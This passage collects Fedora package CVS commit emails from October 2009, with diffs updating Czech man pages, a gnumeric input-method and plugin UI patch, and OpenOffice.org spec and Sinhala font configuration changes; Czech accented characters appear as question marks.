+z?znamu. Spojen? s datab?z? je otev?eno, je-li t?eba.
+.PP
+Funkce \fBgetservbyname()\fP vrac? strukturu \fIservent\fPz datab?ze,
+kter? vyhovuje slu?b? \fIname\fP pou??vaj?c? protokol
+\fIproto\fP. Pokud je \fIproto\fP NULL, lze p???adit libovoln? protokol.
+Spojen? s datab?z? je otev?eno, je-li t?eba.
 .PP
 Funkce \fBgetservbyport()\fP vrac? ukazatel na strukturu \fIservent\fP
 pro z?znam, kter? vyhovuje portu \fIport\fP zadan?mu v s??ov?m po?ad? bajt?
-a protokolu \fIproto\fP. 
+a protokolu \fIproto\fP. Pokud je \fIproto\fP NULL, lze p???adit libovoln? protokol.
+Spojen? s datab?z? je otev?eno, je-li t?eba.
 .PP
-Funkce \fBsetservent()\fP otev?e soubor \fI/etc/services\fP a nastav?
+Funkce \fBsetservent()\fP otev?e datab?zi a nastav?
 ukazov?tko na jeho za??tek.  Je-li \fIstayopen\fP nenulov? (1), potom soubor
 nebude mezi vol?n?mi \fBgetservbyname()\fP a \fBgetservbyport()\fP uzav?en.
 .PP
-Funkce \fBendservent()\fP uzav?e soubor \fI/etc/services\fP.
+Funkce \fBendservent()\fP uzav?e datab?zi.
 .PP
 Struktura \fIservent\fP je definov?na v \fI<netdb.h>\fP n?sledovn?:
 .sp
@@ -44,10 +47,10 @@
 .ne 6
 .ta 8n 16n 32n
 struct servent {
-	char	*s_name;		/* official service name */
-	char	**s_aliases;		/* alias list */
-	int	s_port;			/* port number */
-	char	*s_proto;		/* protocol to use */
+    char    *s_name;        /* official service name */
+    char    **s_aliases;        /* alias list */
+    int    s_port;            /* port number */
+    char    *s_proto;        /* protocol to use */
 }
 .ta
 .fi
@@ -75,8 +78,10 @@
 .I /etc/services
 datab?ze slu?eb
 .SH SPL?UJE STANDARDY
-BSD 4.3
+4.3BSD, POSIX.1-2001
 .SH DAL?? INFORMACE
-.BR getprotoent "(3), " getnetent "(3), " services (5)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.BR getprotoent "(3), " getnetent "(3), "getservent_r "(3), " services (5)
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/index.3 man-pages-cs-0.18.20090209/man-pages/man3/index.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/index.3	1999-05-31 19:28:33.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/index.3	2009-10-08 10:24:28.000000000 +0200
@@ -1,4 +1,5 @@
-.TH INDEX 3  "5.ledna 1997" "GNU" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH INDEX 3  "7. ??jna 2009" "GNU" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
@@ -23,9 +24,12 @@
 FUnkce \fBindex()\fP a \fBrindex()\fP vrac? ukazatel na nalezen? ?et?zec
 nebo NULL pokud nebyl znak nalezen.
 .SH SPL?UJE STANDARDY
-BSD 4.3
+4.3BSD, ozna?eno jako zastaral? v POSIX.1-2001. POSIX.1-2008 odstranil
+specifikaci \fBindex()\fP a \fBrindex()\fP.
 .SH DAL?? INFORMACE
 .BR memchr "(3), " strchr "(3), " strpbrk "(3), " strrchr (3),
 .BR strsep "(3), " strspn "(3), " strstr "(3), " strtok (3)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+


Index: man-pages-cs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages-cs/devel/man-pages-cs.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- man-pages-cs.spec	30 Sep 2009 06:06:33 -0000	1.27
+++ man-pages-cs.spec	12 Oct 2009 07:24:29 -0000	1.28
@@ -2,7 +2,7 @@
 Summary: Czech man pages from the Linux Documentation Project
 Name: man-pages-cs
 Version: 0.18.20090209
-Release: 3%{?dist}
+Release: 4{?dist}
 License: GFDL and GPL+
 Group: Documentation
 URL: http://sweb.cz/tropikhajma/man-pages-cs/index.html
@@ -12,6 +12,7 @@ Patch2: man-pages-cs-02.patch
 Patch3: man-pages-cs-03.patch
 Patch4: man-pages-cs-04.patch
 Patch5: man-pages-cs-05.patch
+Patch6: man-pages-cs-06.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 
@@ -26,6 +27,7 @@ Czech.
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1
 
 %build
 # coreutils directory contains newer version
@@ -51,6 +53,9 @@ rm -fr $RPM_BUILD_ROOT
 %{_mandir}/cs/*
 
 %changelog
+* Mon Oct 12 2009 Ivana Varekova <varekova at redhat.com> - 0.18.20090209-4
+- add another patches created by Ludek Dolihal
+
 * Tue Sep 28 2009 Ivana Varekova <varekova at redhat.com> - 0.18.20090209-3
 - add another patches created by Ludek Dolihal
 



From huzaifas at fedoraproject.org  Mon Oct 12 07:27:47 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 12 Oct 2009 07:27:47 +0000 (UTC)
Subject: rpms/gnumeric/F-12 gnumeric-1.8.4-recent.patch, NONE,
	1.1 gnumeric.spec, 1.46, 1.47
Message-ID: <20091012072747.BE1AF11C00DB@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/gnumeric/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31313

Modified Files:
	gnumeric.spec 
Added Files:
	gnumeric-1.8.4-recent.patch 
Log Message:
resolve rhbz #500890

gnumeric-1.8.4-recent.patch:
 application.c   |    6 +++++-
 application.h   |    4 +++-
 gnm-pane-impl.h |    7 +++----
 gnm-pane.c      |   40 ++++++++++++++++++++++++++++------------
 gnm-plugin.c    |    6 ++++--
 wbc-gtk.c       |    2 +-
 6 files changed, 44 insertions(+), 21 deletions(-)

--- NEW FILE gnumeric-1.8.4-recent.patch ---
>From 9932dc2cafe66b752e965175a3cbe9889819feb5 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Sat, 14 Mar 2009 22:21:18 +0000
Subject: clear the 'im_block_edit_start' flag. (gnm_pane_unrealize) : set the flag.

 
diff --git a/src/application.c b/src/application.c
index fccd626..04a47e7 100644
--- a/src/application.c
+++ b/src/application.c
@@ -815,12 +815,14 @@ gnm_action_free (GnmAction *action)
 }
 
 GnmAppExtraUI *
-gnm_app_add_extra_ui (GSList *actions, char *layout,
+gnm_app_add_extra_ui (char const *group_name,
+		      GSList *actions, char *layout,
 		      char const *domain,
 		      gpointer user_data)
 {
 	GnmAppExtraUI *extra_ui = g_new0 (GnmAppExtraUI, 1);
 	extra_uis = g_slist_prepend (extra_uis, extra_ui);
+	extra_ui->group_name = g_strdup (group_name);
 	extra_ui->actions = actions;
 	extra_ui->layout = layout;
 	extra_ui->user_data = user_data;
@@ -832,6 +834,8 @@ void
 gnm_app_remove_extra_ui (GnmAppExtraUI *extra_ui)
 {
 	g_signal_emit (G_OBJECT (app), signals [CUSTOM_UI_REMOVED], 0, extra_ui);
+	g_free (extra_ui->group_name);
+	g_free (extra_ui);
 }
 
 void
diff --git a/src/application.h b/src/application.h
index 18d8837..ccf7c01 100644
--- a/src/application.h
+++ b/src/application.h
@@ -79,6 +79,7 @@ struct _GnmAction {
 	GnmActionHandler	handler;
 };
 typedef struct {
+	char const *group_name;
 	GSList	   *actions;
 	char	   *layout;
 	char const *domain;
@@ -90,7 +91,8 @@ GnmAction *gnm_action_new  (char const *name, char const *label,
 			    GnmActionHandler handler);
 void	   gnm_action_free (GnmAction *action);
 
-GnmAppExtraUI *gnm_app_add_extra_ui (GSList *actions, char *layout,
+GnmAppExtraUI *gnm_app_add_extra_ui (char const *group_name,
+				     GSList *actions, char *layout,
 				     char const *domain,
 				     gpointer user_data);
 void	   gnm_app_remove_extra_ui  (GnmAppExtraUI *extra_ui);
diff --git a/src/gnm-pane-impl.h b/src/gnm-pane-impl.h
index 90578b8..a38e2dc 100644
--- a/src/gnm-pane-impl.h
+++ b/src/gnm-pane-impl.h
@@ -30,14 +30,13 @@ struct _GnmPane {
 	gboolean   sliding_adjacent_h, sliding_adjacent_v;
 
 	/*  IM */
-	guint      reseting_im :1;	/* quick hack to keep gtk_im_context_reset from starting an edit */
+	guint im_block_edit_start :1; /* see gnm_pane_key_press for details */
+	guint im_first_focus	  :1; /* see gnm_pane_init for details */
 	guint      preedit_length;
 	GtkIMContext  *im_context;
 	PangoAttrList *preedit_attrs;
-	gboolean insert_decimal;
-
-
 
+	gboolean insert_decimal;
 
 	int		 index;
 	struct {
diff --git a/src/gnm-pane.c b/src/gnm-pane.c
index 68be0d4..58f1579 100644
--- a/src/gnm-pane.c
+++ b/src/gnm-pane.c
@@ -587,11 +587,15 @@ gnm_pane_key_press (GtkWidget *widget, GdkEventKey *event)
 		event->keyval == GDK_KP_Decimal ||
 		event->keyval == GDK_KP_Separator;
 
-	if (gtk_im_context_filter_keypress (pane->im_context,event))
+	if (gtk_im_context_filter_keypress (pane->im_context, event))
 		return TRUE;
-	pane->reseting_im = TRUE;
+
+	/* in gtk-2.8 something changed.  gtk_im_context_reset started
+	 * triggering a pre-edit-changed.  We'd end up start and finishing an
+	 * empty edit every time the cursor moved */
+	pane->im_block_edit_start = TRUE;
 	gtk_im_context_reset (pane->im_context);
-	pane->reseting_im = FALSE;
+	pane->im_block_edit_start = FALSE;
 
 	if (gnm_pane_key_mode_sheet (pane, event, allow_rangesel))
 		return TRUE;
@@ -628,7 +632,17 @@ static gint
 gnm_pane_focus_in (GtkWidget *widget, GdkEventFocus *event)
 {
 #ifndef GNM_USE_HILDON
+	/* The first call to focus-in was sometimes the first thing to init the
+	 * imcontext.  In which case the im_context_focus_in would fire a
+	 * preedit-changed, and we would start editing. */
+	GnmPane *pane = GNM_PANE (widget);
+	if (pane->im_first_focus)
+		pane->im_block_edit_start = TRUE;
 	gtk_im_context_focus_in (GNM_PANE (widget)->im_context);
+	if (pane->im_first_focus) {
+		pane->im_first_focus = FALSE;
+		pane->im_block_edit_start = FALSE;
+	}
 #endif
 	return (*GTK_WIDGET_CLASS (parent_klass)->focus_in_event) (widget, event);
 }
@@ -645,6 +659,8 @@ gnm_pane_realize (GtkWidget *w)
 {
 	GtkStyle  *style;
 
+	GNM_PANE (w)->im_block_edit_start = FALSE;
+
 	if (GTK_WIDGET_CLASS (parent_klass)->realize)
 		(*GTK_WIDGET_CLASS (parent_klass)->realize) (w);
 
@@ -667,8 +683,10 @@ gnm_pane_unrealize (GtkWidget *widget)
 	pane = GNM_PANE (widget);
 	g_return_if_fail (pane != NULL);
 
-	if (pane->im_context)
+	if (pane->im_context) {
+		pane->im_block_edit_start = TRUE;
 		gtk_im_context_set_client_window (pane->im_context, NULL);
+	}
 
 	(*GTK_WIDGET_CLASS (parent_klass)->unrealize)(widget);
 }
@@ -733,10 +751,7 @@ cb_gnm_pane_preedit_changed (GtkIMContext *context, GnmPane *pane)
 		pango_attr_list_unref (pane->preedit_attrs);
 	gtk_im_context_get_preedit_string (pane->im_context, &preedit_string, &pane->preedit_attrs, &cursor_pos);
 
-	/* in gtk-2.8 something changed.  gtk_im_context_reset started
-	 * triggering a pre-edit-changed.  We'd end up start and finishing an
-	 * empty edit every time the cursor moved */
-	if (!pane->reseting_im &&
+	if (!pane->im_block_edit_start &&
 	    !wbcg_is_editing (wbcg) && !wbcg_edit_start (wbcg, TRUE, TRUE)) {
 		gtk_im_context_reset (pane->im_context);
 		pane->preedit_length = 0;
@@ -911,8 +926,9 @@ gnm_pane_init (GnmPane *pane)
 
 	pane->im_context = gtk_im_multicontext_new ();
 	pane->preedit_length = 0;
-	pane->preedit_attrs = NULL;
-	pane->reseting_im = FALSE;
+	pane->preedit_attrs    = NULL;
+	pane->im_block_edit_start = FALSE;
+	pane->im_first_focus = TRUE;
 
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_FOCUS);
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_DEFAULT);
@@ -2062,9 +2078,9 @@ gnm_pane_size_guide_start (GnmPane *pane, gboolean vert, int colrow, int width)
 			"width-pixels", 1,
 			NULL);
 	else {
-		static char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
+		static unsigned char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
 		GdkBitmap *stipple = gdk_bitmap_create_from_data (
-			GTK_WIDGET (pane)->window, dat, 8, 8);
+			GTK_WIDGET (pane)->window, (const gchar *)dat, 8, 8);
 		foo_canvas_item_set (pane->size_guide.guide, "fill-stipple", stipple, NULL);
 		g_object_unref (stipple);
 	}
diff --git a/src/gnm-plugin.c b/src/gnm-plugin.c
index d546a39..dd659bd 100644
--- a/src/gnm-plugin.c
+++ b/src/gnm-plugin.c
@@ -363,7 +363,7 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	PluginServiceUI *service_ui = GNM_PLUGIN_SERVICE_UI (service);
 	GError *err = NULL;
 	char *full_file_name;
-	char *xml_ui;
+	char *xml_ui, *group_name;
 	char const *textdomain;
 
 	GO_INIT_RET_ERROR_INFO (ret_error);
@@ -380,9 +380,11 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	g_free (full_file_name);
 
 	textdomain = go_plugin_get_textdomain (service->plugin);
-	service_ui->layout_id = gnm_app_add_extra_ui (
+	group_name = g_strconcat (go_plugin_get_id (service->plugin), service->id, NULL);
+	service_ui->layout_id = gnm_app_add_extra_ui (group_name,
 		service_ui->actions,
 		xml_ui, textdomain, service);
+	g_free (group_name);
 	service->is_active = TRUE;
 }
 
diff --git a/src/wbc-gtk.c b/src/wbc-gtk.c
index 6a7db0c..d687aa8 100644
--- a/src/wbc-gtk.c
+++ b/src/wbc-gtk.c
@@ -3010,7 +3010,7 @@ cb_add_custom_ui (G_GNUC_UNUSED GnmApp *app,
 	GtkAction       *res;
 
 	details = g_new0 (CustomUIHandle, 1);
-	details->actions = gtk_action_group_new ("DummyName");
+	details->actions = gtk_action_group_new (extra_ui->group_name);
 
 	for (ptr = extra_ui->actions; ptr != NULL ; ptr = ptr->next) {
 		action = ptr->data;



Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-12/gnumeric.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- gnumeric.spec	25 Jul 2009 00:58:01 -0000	1.46
+++ gnumeric.spec	12 Oct 2009 07:27:47 -0000	1.47
@@ -12,6 +12,7 @@ Source:           ftp://ftp.gnome.org/pu
 Patch0:		  gnumeric-1.8.4-desktop.patch
 Patch1:           gnumeric-1.8.1-gnomedb-vercheck.patch
 Patch2:		  gnumeric-1.8.2-python.patch
+Patch3:		  gnumeric-1.8.4-recent.patch
 BuildRoot:        %{_tmppath}/%{name}-%{version}-root
 BuildRequires:    libgnomeui-devel >= 2.4.0
 BuildRequires:    libgnomeprintui22-devel >= 2.8.2
@@ -63,6 +64,7 @@ This package contains the following addi
 %patch0 -p1 -b .desktop
 %patch1 -p1
 %patch2 -p1 -b .new
+%patch3 -p1 
 
 chmod -x plugins/excel/rc4.?
 
@@ -191,6 +193,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-3
+- Resolve rhbz #500890
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From huzaifas at fedoraproject.org  Mon Oct 12 07:30:39 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 12 Oct 2009 07:30:39 +0000 (UTC)
Subject: rpms/gnumeric/F-12 gnumeric.spec,1.47,1.48
Message-ID: <20091012073039.D04D011C0267@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/gnumeric/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31915

Modified Files:
	gnumeric.spec 
Log Message:
bump version


Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-12/gnumeric.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- gnumeric.spec	12 Oct 2009 07:27:47 -0000	1.47
+++ gnumeric.spec	12 Oct 2009 07:30:39 -0000	1.48
@@ -1,7 +1,7 @@
 Name:             gnumeric
 Epoch:            1
 Version:          1.8.4
-Release:          3%{?dist}
+Release:          4%{?dist}
 Summary:          Spreadsheet program for GNOME
 Group:            Applications/Productivity
 # bug filed upstream about this being GPL v2 only:
@@ -193,7 +193,7 @@ fi
 
 
 %changelog
-* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-3
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-4
 - Resolve rhbz #500890
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.4-3



From caolanm at fedoraproject.org  Mon Oct 12 07:33:07 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 12 Oct 2009 07:33:07 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2022,1.2023
Message-ID: <20091012073307.8DABB11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32349

Modified Files:
	openoffice.org.spec 
Log Message:
3.1 -> 3.2


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2022
retrieving revision 1.2023
diff -u -p -r1.2022 -r1.2023
--- openoffice.org.spec	11 Oct 2009 19:57:30 -0000	1.2022
+++ openoffice.org.spec	12 Oct 2009 07:33:07 -0000	1.2023
@@ -121,8 +121,8 @@ Patch45: workspace.dba32h.patch
 %define instdir %{_libdir}
 %define baseinstdir %{instdir}/openoffice.org
 %define ureinstdir %{baseinstdir}/ure
-%define basisinstdir %{baseinstdir}/basis3.1
-%define sdkinstdir %{baseinstdir}/basis3.1/sdk
+%define basisinstdir %{baseinstdir}/basis3.2
+%define sdkinstdir %{baseinstdir}/basis3.2/sdk
 %define oooinstdir %{instdir}/openoffice.org3
 %define brinstdir %{instdir}/broffice.org3
 %define fontname opensymbol



From dtardon at fedoraproject.org  Mon Oct 12 07:39:13 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Mon, 12 Oct 2009 07:39:13 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch,
	NONE, 1.1 openoffice.org.spec, 1.2023, 1.2024
Message-ID: <20091012073913.6D2FD11C0267@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv775

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch 
Log Message:
Resolves: rhbz#528409 [si_LK] Default font in oowriter is not Language Default (LKLUG), but DejaVu Sans (dtardon)



openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch:
 VCL.xcu |   20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

--- NEW FILE openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch ---
Index: officecfg/registry/data/org/openoffice/VCL.xcu
===================================================================
--- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
+++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
@@ -1022,6 +1022,26 @@
     </node>
     <node oor:name="rw" oor:op="replace">
     </node>
+    <node oor:name="si" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>LKLUG;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
   </node>
   <node oor:name="FontSubstitutions">
     <node oor:name="en" oor:op="replace">


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2023
retrieving revision 1.2024
diff -u -p -r1.2023 -r1.2024
--- openoffice.org.spec	12 Oct 2009 07:33:07 -0000	1.2023
+++ openoffice.org.spec	12 Oct 2009 07:39:12 -0000	1.2024
@@ -116,6 +116,7 @@ Patch42: openoffice.org-3.1.1.ooo92671.v
 Patch43: workspace.vcl106.patch
 Patch44: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
 Patch45: workspace.dba32h.patch
+Patch46: openoffice.org-3.2.0.ooo105815.officecfg.default-font-for-si-locale.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1621,6 +1622,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch43 -p0 -b .workspace.vcl106.patch
 %patch44 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
 %patch45 -p0 -b .workspace.dba32h.patch
+%patch46 -p0 -b .officecfg.default-font-for-si-locale.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4185,6 +4187,8 @@ fi
 - drop integrated openoffice.org-3.0.1.ooo97488.sw.ww8toc.patch
 - drop unneccessary openoffice.org-3.0.1.ooo97088.sd.accel-fallback.patch
 - add workspace.dba32h.patch
+- Resolves: rhbz#528409 [si_LK] Default font in oowriter is not
+  Language Default (LKLUG), but DejaVu Sans (dtardon)
 
 * Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch



From huzaifas at fedoraproject.org  Mon Oct 12 07:51:32 2009
From: huzaifas at fedoraproject.org (Huzaifa Sidhpurwala)
Date: Mon, 12 Oct 2009 07:51:32 +0000 (UTC)
Subject: rpms/gnumeric/devel gnumeric-1.8.4-recent.patch, NONE,
	1.1 gnumeric.spec, 1.46, 1.47
Message-ID: <20091012075132.D2D4911C00DB@cvs1.fedora.phx.redhat.com>

Author: huzaifas

Update of /cvs/pkgs/rpms/gnumeric/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3412

Modified Files:
	gnumeric.spec 
Added Files:
	gnumeric-1.8.4-recent.patch 
Log Message:
rhbz #500890

gnumeric-1.8.4-recent.patch:
 application.c   |    6 +++++-
 application.h   |    4 +++-
 gnm-pane-impl.h |    7 +++----
 gnm-pane.c      |   40 ++++++++++++++++++++++++++++------------
 gnm-plugin.c    |    6 ++++--
 wbc-gtk.c       |    2 +-
 6 files changed, 44 insertions(+), 21 deletions(-)

--- NEW FILE gnumeric-1.8.4-recent.patch ---
>From 9932dc2cafe66b752e965175a3cbe9889819feb5 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Sat, 14 Mar 2009 22:21:18 +0000
Subject: clear the 'im_block_edit_start' flag. (gnm_pane_unrealize) : set the flag.

 
diff --git a/src/application.c b/src/application.c
index fccd626..04a47e7 100644
--- a/src/application.c
+++ b/src/application.c
@@ -815,12 +815,14 @@ gnm_action_free (GnmAction *action)
 }
 
 GnmAppExtraUI *
-gnm_app_add_extra_ui (GSList *actions, char *layout,
+gnm_app_add_extra_ui (char const *group_name,
+		      GSList *actions, char *layout,
 		      char const *domain,
 		      gpointer user_data)
 {
 	GnmAppExtraUI *extra_ui = g_new0 (GnmAppExtraUI, 1);
 	extra_uis = g_slist_prepend (extra_uis, extra_ui);
+	extra_ui->group_name = g_strdup (group_name);
 	extra_ui->actions = actions;
 	extra_ui->layout = layout;
 	extra_ui->user_data = user_data;
@@ -832,6 +834,8 @@ void
 gnm_app_remove_extra_ui (GnmAppExtraUI *extra_ui)
 {
 	g_signal_emit (G_OBJECT (app), signals [CUSTOM_UI_REMOVED], 0, extra_ui);
+	g_free (extra_ui->group_name);
+	g_free (extra_ui);
 }
 
 void
diff --git a/src/application.h b/src/application.h
index 18d8837..ccf7c01 100644
--- a/src/application.h
+++ b/src/application.h
@@ -79,6 +79,7 @@ struct _GnmAction {
 	GnmActionHandler	handler;
 };
 typedef struct {
+	char const *group_name;
 	GSList	   *actions;
 	char	   *layout;
 	char const *domain;
@@ -90,7 +91,8 @@ GnmAction *gnm_action_new  (char const *name, char const *label,
 			    GnmActionHandler handler);
 void	   gnm_action_free (GnmAction *action);
 
-GnmAppExtraUI *gnm_app_add_extra_ui (GSList *actions, char *layout,
+GnmAppExtraUI *gnm_app_add_extra_ui (char const *group_name,
+				     GSList *actions, char *layout,
 				     char const *domain,
 				     gpointer user_data);
 void	   gnm_app_remove_extra_ui  (GnmAppExtraUI *extra_ui);
diff --git a/src/gnm-pane-impl.h b/src/gnm-pane-impl.h
index 90578b8..a38e2dc 100644
--- a/src/gnm-pane-impl.h
+++ b/src/gnm-pane-impl.h
@@ -30,14 +30,13 @@ struct _GnmPane {
 	gboolean   sliding_adjacent_h, sliding_adjacent_v;
 
 	/*  IM */
-	guint      reseting_im :1;	/* quick hack to keep gtk_im_context_reset from starting an edit */
+	guint im_block_edit_start :1; /* see gnm_pane_key_press for details */
+	guint im_first_focus	  :1; /* see gnm_pane_init for details */
 	guint      preedit_length;
 	GtkIMContext  *im_context;
 	PangoAttrList *preedit_attrs;
-	gboolean insert_decimal;
-
-
 
+	gboolean insert_decimal;
 
 	int		 index;
 	struct {
diff --git a/src/gnm-pane.c b/src/gnm-pane.c
index 68be0d4..58f1579 100644
--- a/src/gnm-pane.c
+++ b/src/gnm-pane.c
@@ -587,11 +587,15 @@ gnm_pane_key_press (GtkWidget *widget, GdkEventKey *event)
 		event->keyval == GDK_KP_Decimal ||
 		event->keyval == GDK_KP_Separator;
 
-	if (gtk_im_context_filter_keypress (pane->im_context,event))
+	if (gtk_im_context_filter_keypress (pane->im_context, event))
 		return TRUE;
-	pane->reseting_im = TRUE;
+
+	/* in gtk-2.8 something changed.  gtk_im_context_reset started
+	 * triggering a pre-edit-changed.  We'd end up start and finishing an
+	 * empty edit every time the cursor moved */
+	pane->im_block_edit_start = TRUE;
 	gtk_im_context_reset (pane->im_context);
-	pane->reseting_im = FALSE;
+	pane->im_block_edit_start = FALSE;
 
 	if (gnm_pane_key_mode_sheet (pane, event, allow_rangesel))
 		return TRUE;
@@ -628,7 +632,17 @@ static gint
 gnm_pane_focus_in (GtkWidget *widget, GdkEventFocus *event)
 {
 #ifndef GNM_USE_HILDON
+	/* The first call to focus-in was sometimes the first thing to init the
+	 * imcontext.  In which case the im_context_focus_in would fire a
+	 * preedit-changed, and we would start editing. */
+	GnmPane *pane = GNM_PANE (widget);
+	if (pane->im_first_focus)
+		pane->im_block_edit_start = TRUE;
 	gtk_im_context_focus_in (GNM_PANE (widget)->im_context);
+	if (pane->im_first_focus) {
+		pane->im_first_focus = FALSE;
+		pane->im_block_edit_start = FALSE;
+	}
 #endif
 	return (*GTK_WIDGET_CLASS (parent_klass)->focus_in_event) (widget, event);
 }
@@ -645,6 +659,8 @@ gnm_pane_realize (GtkWidget *w)
 {
 	GtkStyle  *style;
 
+	GNM_PANE (w)->im_block_edit_start = FALSE;
+
 	if (GTK_WIDGET_CLASS (parent_klass)->realize)
 		(*GTK_WIDGET_CLASS (parent_klass)->realize) (w);
 
@@ -667,8 +683,10 @@ gnm_pane_unrealize (GtkWidget *widget)
 	pane = GNM_PANE (widget);
 	g_return_if_fail (pane != NULL);
 
-	if (pane->im_context)
+	if (pane->im_context) {
+		pane->im_block_edit_start = TRUE;
 		gtk_im_context_set_client_window (pane->im_context, NULL);
+	}
 
 	(*GTK_WIDGET_CLASS (parent_klass)->unrealize)(widget);
 }
